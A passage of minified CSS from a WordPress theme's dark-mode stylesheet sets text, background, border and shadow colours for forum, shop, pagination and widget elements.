.post-box-title,body.pcdm-enable.pcdark-mode .post-comments span.reply a,body.pcdm-enable.pcdark-mode .post-comments span.reply a:hover,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a,body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote cite,body.pcdm-enable.pcdark-mode .post-entry .wp-block-pullquote blockquote p,body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote cite,body.pcdm-enable.pcdark-mode .post-entry blockquote.wp-block-quote p,body.pcdm-enable.pcdark-mode .post-entry code,body.pcdm-enable.pcdark-mode .post-entry h1,body.pcdm-enable.pcdark-mode .post-entry h2,body.pcdm-enable.pcdark-mode .post-entry h3,body.pcdm-enable.pcdark-mode .post-entry h4,body.pcdm-enable.pcdark-mode .post-entry h5,body.pcdm-enable.pcdark-mode .post-entry h6,body.pcdm-enable.pcdark-mode .post-pagination a,body.pcdm-enable.pcdark-mode .post-pagination span,body.pcdm-enable.pcdark-mode .post-share a,body.pcdm-enable.pcdark-mode .tags-share-box.hide-tags.page-share .share-title,body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author,body.pcdm-enable.pcdark-mode .thecomment .comment-text span.author a,body.pcdm-enable.pcdark-mode .widget .tagcloud a,body.pcdm-enable.pcdark-mode .widget select,body.pcdm-enable.pcdark-mode .widget ul li,body.pcdm-enable.pcdark-mode .widget-social a i,body.pcdm-enable.pcdark-mode .widget-social.show-text a span,body.pcdm-enable.pcdark-mode .widget_display_stats dd,body.pcdm-enable.pcdark-mode .widget_wysija input,body.pcdm-enable.pcdark-mode .woocommerce-page form .form-row .input-text,body.pcdm-enable.pcdark-mode .wp-block-categories .category-item-count,body.pcdm-enable.pcdark-mode .wp-block-video figcaption,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote cite,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote.wp-block-quote p,body.pcdm-enable.pcdark-mode .wpb_text_column h1,body.pcdm-enable.pcdark-mode .wpb_text_column h2,body.pcdm-enable.pcdark-mode .wpb_text_column h3,body.pcdm-enable.pcdark-mode .wpb_text_column h4,body.pcdm-enable.pcdark-mode .wpb_text_column h5,body.pcdm-enable.pcdark-mode .wpb_text_column h6,body.pcdm-enable.pcdark-mode .wpcf7 input,body.pcdm-enable.pcdark-mode .wpcf7 textarea,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links a:hover,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,body.pcdm-enable.pcdark-mode div.bbp-template-notice,body.pcdm-enable.pcdark-mode div.bbp-template-notice a,body.pcdm-enable.pcdark-mode div.indicator-hint,body.pcdm-enable.pcdark-mode form.pc-searchform input.search-input,body.pcdm-enable.pcdark-mode input,body.pcdm-enable.pcdark-mode span.bbp-admin-links a,body.pcdm-enable.pcdark-mode.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong,body.pcdm-enable.pcdark-mode.woocommerce .comment-form p.stars a,body.pcdm-enable.pcdark-mode.woocommerce .page-title,body.pcdm-enable.pcdark-mode.woocommerce .widget_price_filter .price_label,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-product-search input[type=search],body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h1,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h3,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h4,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h5,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] h6,body.pcdm-enable.pcdark-mode.woocommerce div.product .related>h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .upsells>h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h1,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h3,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h4,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h5,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description h6,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs .panel>h2:first-child,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li a,body.pcdm-enable.pcdark-mode.woocommerce form .form-row .input-text,body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li a,body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table a.remove,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-name a,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table th,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .woocommerce-loop-product__title,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product h3,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h1,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h2,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h3,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h4,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h5,body.pcdm-enable.pcdark-mode.woocommerce-product-details__short-description h6{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-standard.standard-overlay-meta,body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button,body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .ui-slider .ui-slider-handle{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot span{background-color:var(--pcbg-cl);border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb .bbp-breadcrumb-current,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb a,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-started-by,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-started-in,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta,body.pcdm-enable.pcdark-mode .bbp-breadcrumb .bbp-breadcrumb-sep,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .grid-post-box-meta span a,body.pcdm-enable.pcdark-mode .header-standard .author-post span,body.pcdm-enable.pcdark-mode .item-related span.date,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta a,body.pcdm-enable.pcdark-mode .penci-post-box-meta .penci-box-meta span,body.pcdm-enable.pcdark-mode .post-box-meta-single span,body.pcdm-enable.pcdark-mode .thecomment .comment-text span.date,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta,body.pcdm-enable.pcdark-mode .woocommerce #reviews #comments ol.commentlist li .comment-text .meta{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-review-process{background-color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .post-entry .wp-block-file a.wp-block-file__button{color:var(--pctext-cl)}.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button.loading-posts{color:var(--pctext-cl)!important;border-color:var(--pcborder-cl)!important}.pcdark-mode .widget ul.side-newsfeed li .number-post{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_reply_submit,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_submit,body.pcdm-enable.pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type=submit],body.pcdm-enable.pcdark-mode #respond #submit,body.pcdm-enable.pcdark-mode .penci-button,body.pcdm-enable.pcdark-mode .penci-user-logged-in .penci-user-action-links a,body.pcdm-enable.pcdark-mode .widget button[type=submit],body.pcdm-enable.pcdark-mode .widget input[type=submit],body.pcdm-enable.pcdark-mode .widget_wysija input[type=submit],body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit,body.pcdm-enable.pcdark-mode .woocommerce a.button,body.pcdm-enable.pcdark-mode .woocommerce button.button,body.pcdm-enable.pcdark-mode .woocommerce input.button,body.pcdm-enable.pcdark-mode .wpcf7 input[type=submit],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit],body.pcdm-enable.pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit]{background:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .woocommerce .penci-extra-buttons>.button{background:0 0}body.pcdm-enable.pcdark-mode #wp-calendar tbody td,body.pcdm-enable.pcdark-mode #wp-calendar tbody td:hover{background:0 0}body.pcdm-enable.pcdark-mode .woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode #navigation{border-color:var(--pcbg-l-cl);background-color:#000;transition:none}body.pcdm-enable.pcdark-mode .is-sticky #navigation{box-shadow:0 1px 5px rgba(255,255,255,.08);-webkit-box-shadow:0 1px 5px rgba(255,255,255,.08);-moz-box-shadow:0 1px 5px rgba(255,255,255,.08)}body.pcdm-enable.pcdark-mode #navigation .menu .children,body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode .penci-dropdown-menu{box-shadow:0 0 6px rgba(255,255,255,.1);-webkit-box-shadow:0 0 6px rgba(255,255,255,.1);-moz-box-shadow:0 0 6px rgba(255,255,255,.1)}body.pcdm-enable.pcdark-mode .penci-holder-load:not([style*=background-image]),body.pcdm-enable.pcdark-mode .penci-image-holder:not([style*=background-image]),body.pcdm-enable.pcdark-mode .penci-lazy[src*=penci-holder]{background-color:#333;background-image:linear-gradient(to left,#333 0,#383838 15%,#333 40%,#333 100%)}body.pcdm-enable.pcdark-mode #penci-demobar,body.pcdm-enable.pcdark-mode #penci-demobar .style-toggle{box-shadow:-1px 2px 10px 0 rgba(255,255,255,.15);-webkit-box-shadow:-1px 2px 10px 0 rgba(255,255,255,.15);-moz-box-shadow:-1px 2px 10px 0 rgba(255,255,255,.15)}body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote,body.pcdm-enable.pcdark-mode .wp-block-quote.is-large,body.pcdm-enable.pcdark-mode .wp-block-quote.is-style-large{background:#2b2b2b}body.pcdm-enable.pcdark-mode .post-entry .wp-block-verse pre,body.pcdm-enable.pcdark-mode .post-entry code,body.pcdm-enable.pcdark-mode .post-entry pre,body.pcdm-enable.pcdark-mode .post-entry pre.wp-block-verse,body.pcdm-enable.pcdark-mode .wp-block-pullquote.is-style-solid-color,body.pcdm-enable.pcdark-mode .wp-block-table.is-style-stripes tr:nth-child(odd){background-color:#333}body.pcdm-enable.pcdark-mode #comments_pagination a:hover,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a:hover,body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li a:hover{color:#dedede;border-color:#777}body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-forum-header,body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-reply-header,body.pcdm-enable.pcdark-mode #bbpress-forums div.bbp-topic-header,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-header,body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,body.pcdm-enable.pcdark-mode #buddypress .generic-button a,body.pcdm-enable.pcdark-mode #buddypress .standard-form button,body.pcdm-enable.pcdark-mode #buddypress a.button,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs,body.pcdm-enable.pcdark-mode #buddypress input[type=button],body.pcdm-enable.pcdark-mode #buddypress input[type=reset],body.pcdm-enable.pcdark-mode #buddypress input[type=submit],body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,body.pcdm-enable.pcdark-mode a.bp-title-button{background-color:#252525}body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link,body.pcdm-enable.pcdark-mode #buddypress .generic-button a,body.pcdm-enable.pcdark-mode #buddypress .standard-form button,body.pcdm-enable.pcdark-mode #buddypress a.button,body.pcdm-enable.pcdark-mode #buddypress input[type=button],body.pcdm-enable.pcdark-mode #buddypress input[type=reset],body.pcdm-enable.pcdark-mode #buddypress input[type=submit],body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a,body.pcdm-enable.pcdark-mode a.bp-title-button{border-color:#252525}body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a:hover,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.current a,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li.selected a{color:#fff}body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li a,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs:not(#subnav) ul li>span{border-color:#313131}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul ul{background-color:rgba(0,0,0,.9)}body.pcdm-enable.pcdark-mode .penci-featured-caption,body.pcdm-enable.pcdark-mode .wp-caption p.wp-caption-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .lines-button:after,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:after,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle:hover .penci-lines:before,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-playlist-title,body.pcdm-enable.pcdark-mode .pencisc-column-2.penci-video_playlist,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-plike{background:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-dropcap-box,body.pcdm-enable.pcdark-mode .penci-dropcap-circle,body.pcdm-enable.pcdark-mode .penci-ld .penci-ldin:before,body.pcdm-enable.pcdark-mode .penci-ldspinner>div,body.pcdm-enable.pcdark-mode .penci-login-register input[type=submit]:hover,body.pcdm-enable.pcdark-mode .penci-video-nav .playlist-panel-item,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb,body.pcdm-enable.pcdark-mode .pencisc-button,body.pcdm-enable.pcdark-mode .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,body.pcdm-enable.pcdark-mode .post-entry .pencisc-button{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-breadcrumb a:hover,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-forum-freshness a:hover,body.pcdm-enable.pcdark-mode #bbpress-forums .bbp-topic-freshness a:hover,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover,body.pcdm-enable.pcdark-mode #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a,body.pcdm-enable.pcdark-mode #buddypress .acomment-meta a:first-child,body.pcdm-enable.pcdark-mode #buddypress .activity-header a:first-child,body.pcdm-enable.pcdark-mode #buddypress .comment-meta a:first-child,body.pcdm-enable.pcdark-mode #buddypress ul.item-list li div.item-title a,body.pcdm-enable.pcdark-mode #buddypress ul.item-list li h4 a,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover,body.pcdm-enable.pcdark-mode .archive-box h1,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode .main-nav-social a:hover,body.pcdm-enable.pcdark-mode .penci-countdown .countdown-amount,body.pcdm-enable.pcdark-mode .penci-dropcap-bold,body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-regular,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a .indicator:hover,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a:hover,body.pcdm-enable.pcdark-mode .penci-pagination a:hover,body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li a:hover,body.pcdm-enable.pcdark-mode .penci-portfolio-filter ul li.active a,body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print,body.pcdm-enable.pcdark-mode .penci-recipe-index .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy,body.pcdm-enable.pcdark-mode .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover,body.pcdm-enable.pcdark-mode .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,body.pcdm-enable.pcdark-mode .penci_list_shortcode li:before,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li a:hover,body.pcdm-enable.pcdark-mode .post-entry .penci-portfolio-filter ul li.active a,body.pcdm-enable.pcdark-mode .post-entry a,body.pcdm-enable.pcdark-mode .post-entry blockquote .author,body.pcdm-enable.pcdark-mode .post-entry blockquote cite,body.pcdm-enable.pcdark-mode .post-entry blockquote:before,body.pcdm-enable.pcdark-mode .widget-social .remove-circle a:hover i,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote .author,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote cite,body.pcdm-enable.pcdark-mode .wpb_text_column blockquote:before,body.pcdm-enable.pcdark-mode div.bbp-template-notice a:hover,body.pcdm-enable.pcdark-mode div.penci-topbar-menu>ul>li a:hover,body.pcdm-enable.pcdark-mode ul.penci-topbar-menu>li a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form .button,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp-search-form .button:hover,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_reply_submit:hover,body.pcdm-enable.pcdark-mode #bbpress-forums #bbp_topic_submit:hover,body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link:hover,body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=submit],body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=submit],body.pcdm-enable.pcdark-mode #buddypress a.button:focus,body.pcdm-enable.pcdark-mode #buddypress a.button:hover,body.pcdm-enable.pcdark-mode #buddypress button:hover,body.pcdm-enable.pcdark-mode #buddypress div.generic-button a:hover,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li a:hover,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li.current a,body.pcdm-enable.pcdark-mode #buddypress div.item-list-tabs ul li.selected a,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links .current,body.pcdm-enable.pcdark-mode #buddypress input[type=button]:hover,body.pcdm-enable.pcdark-mode #buddypress input[type=reset]:hover,body.pcdm-enable.pcdark-mode #buddypress input[type=submit],body.pcdm-enable.pcdark-mode #buddypress input[type=submit]:hover,body.pcdm-enable.pcdark-mode #buddypress table.forum thead tr,body.pcdm-enable.pcdark-mode #buddypress table.messages-notices thead tr,body.pcdm-enable.pcdark-mode #buddypress table.notifications thead tr,body.pcdm-enable.pcdark-mode #buddypress table.notifications-settings thead tr,body.pcdm-enable.pcdark-mode #buddypress table.profile-fields thead tr,body.pcdm-enable.pcdark-mode #buddypress table.profile-settings thead tr,body.pcdm-enable.pcdark-mode #buddypress table.wp-profile-fields thead tr,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a:hover,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li.current a,body.pcdm-enable.pcdark-mode #main .bbp-login-form .bbp-submit-wrapper button[type=submit]:hover,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .menu ul ul.sub-menu:before,body.pcdm-enable.pcdark-mode #navigation.menu-style-2 ul.menu ul.sub-menu:before,body.pcdm-enable.pcdark-mode #penci-demobar .buy-button,body.pcdm-enable.pcdark-mode #penci-demobar .buy-button:hover,body.pcdm-enable.pcdark-mode .error-404 .go-back-home a:after,body.pcdm-enable.pcdark-mode .error-image:after,body.pcdm-enable.pcdark-mode .pcheader-icon.shoping-cart-icon>a>span,body.pcdm-enable.pcdark-mode .penci-go-to-top-floating,body.pcdm-enable.pcdark-mode .penci-header-signup-form,body.pcdm-enable.pcdark-mode .penci-home-popular-post ul.slick-dots li button:hover,body.pcdm-enable.pcdark-mode .penci-home-popular-post ul.slick-dots li.slick-active button,body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print:hover,body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover,body.pcdm-enable.pcdark-mode .post-entry blockquote .author span:after,body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote:before,body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit.alt:hover,body.pcdm-enable.pcdark-mode .woocommerce #respond input#submit:hover,body.pcdm-enable.pcdark-mode .woocommerce a.button.alt:hover,body.pcdm-enable.pcdark-mode .woocommerce a.button:hover,body.pcdm-enable.pcdark-mode .woocommerce button.button.alt:hover,body.pcdm-enable.pcdark-mode .woocommerce button.button:hover,body.pcdm-enable.pcdark-mode .woocommerce div.product .entry-summary div[itemprop=description] blockquote .author span:after,body.pcdm-enable.pcdark-mode .woocommerce div.product .entry-summary div[itemprop=description]:before,body.pcdm-enable.pcdark-mode .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after,body.pcdm-enable.pcdark-mode .woocommerce input.button.alt:hover,body.pcdm-enable.pcdark-mode .woocommerce input.button:hover,body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span.current,body.pcdm-enable.pcdark-mode .woocommerce span.onsale,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .woocommerce nav.woocommerce-pagination ul li span.current{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #comments_pagination span,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span.current{color:var(--pctext-cl);border-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #buddypress .comment-reply-link:hover,body.pcdm-enable.pcdark-mode #buddypress .dir-search input[type=submit],body.pcdm-enable.pcdark-mode #buddypress .groups-members-search input[type=submit],body.pcdm-enable.pcdark-mode #buddypress a.button:focus,body.pcdm-enable.pcdark-mode #buddypress a.button:hover,body.pcdm-enable.pcdark-mode #buddypress button:hover,body.pcdm-enable.pcdark-mode #buddypress div.generic-button a:hover,body.pcdm-enable.pcdark-mode #buddypress div.pagination .pagination-links .current,body.pcdm-enable.pcdark-mode #buddypress input[type=button]:hover,body.pcdm-enable.pcdark-mode #buddypress input[type=reset]:hover,body.pcdm-enable.pcdark-mode #buddypress input[type=submit],body.pcdm-enable.pcdark-mode #buddypress input[type=submit]:hover,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li a:hover,body.pcdm-enable.pcdark-mode #buddypress ul.button-nav li.current a,body.pcdm-enable.pcdark-mode .footer-instagram h4.footer-instagram-title>span:before,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .magcat-padding:before,body.pcdm-enable.pcdark-mode .penci-dropcap-box-outline,body.pcdm-enable.pcdark-mode .penci-dropcap-circle-outline,body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover,body.pcdm-enable.pcdark-mode .penci-recipe-heading a.penci-recipe-print:hover,body.pcdm-enable.pcdark-mode .penci-review-metas .penci-review-btnbuy:hover,body.pcdm-enable.pcdark-mode .wrapper-boxed .bbp-pagination-links span.current,body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:focus,body.pcdm-enable.pcdark-mode form.pc-searchform.penci-hbg-search-form input.search-input:hover,body.pcdm-enable.pcdark-mode.woocommerce nav.woocommerce-pagination ul li span.current{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-error,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider .penci-owl-dot.active span,body.pcdm-enable.pcdark-mode .penci-related-carousel .penci-owl-dot.active span,body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a.penci-active,body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a:hover{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a:hover,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a:hover,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-info:before,body.pcdm-enable.pcdark-mode.woocommerce .woocommerce-message:before,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] blockquote .author,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] blockquote cite,body.pcdm-enable.pcdark-mode.woocommerce div.product .entry-summary div[itemprop=description] blockquote:before,body.pcdm-enable.pcdark-mode.woocommerce div.product .product_meta>span a:hover,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote cite,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs #tab-description blockquote:before,body.pcdm-enable.pcdark-mode.woocommerce div.product .woocommerce-tabs ul.tabs li.active,body.pcdm-enable.pcdark-mode.woocommerce div.product p.price ins,body.pcdm-enable.pcdark-mode.woocommerce div.product span.price,body.pcdm-enable.pcdark-mode.woocommerce div.product span.price ins,body.pcdm-enable.pcdark-mode.woocommerce form.checkout table.shop_table .order-total .amount,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-name a:hover,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-price span,body.pcdm-enable.pcdark-mode.woocommerce table.shop_table td.product-subtotal span,body.pcdm-enable.pcdark-mode.woocommerce ul.cart_list li .amount,body.pcdm-enable.pcdark-mode.woocommerce ul.product_list_widget li .amount,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price,body.pcdm-enable.pcdark-mode.woocommerce ul.products li.product .price ins,body.pcdm-enable.pcdark-mode.woocommerce-cart .cart-collaterals .cart_totals table td .amount{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode.woocommerce div.product p.price{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a,body.pcdm-enable.pcdark-mode .penci-readmore-btn.penci-btn-make-button a,body.pcdm-enable.pcdark-mode .standard-content .penci-more-link.penci-more-link-button a.more-link{background-color:var(--pcbg-cl);color:#fff}body.pcdm-enable.pcdark-mode .penci-vernav-toggle:before{border-top-color:var(--pcborder-cl);color:#fff}body.pcdm-enable.pcdark-mode .container.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .container.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb a,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .penci-container-inside.penci-breadcrumb span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #comments_pagination a,body.pcdm-enable.pcdark-mode #comments_pagination span,body.pcdm-enable.pcdark-mode .penci-pagination .disable-url,body.pcdm-enable.pcdark-mode .penci-pagination a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li a,body.pcdm-enable.pcdark-mode .penci-pagination ul.page-numbers li span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-pagination a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button{color:var(--pctext-cl);border-color:var(--pcborder-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more 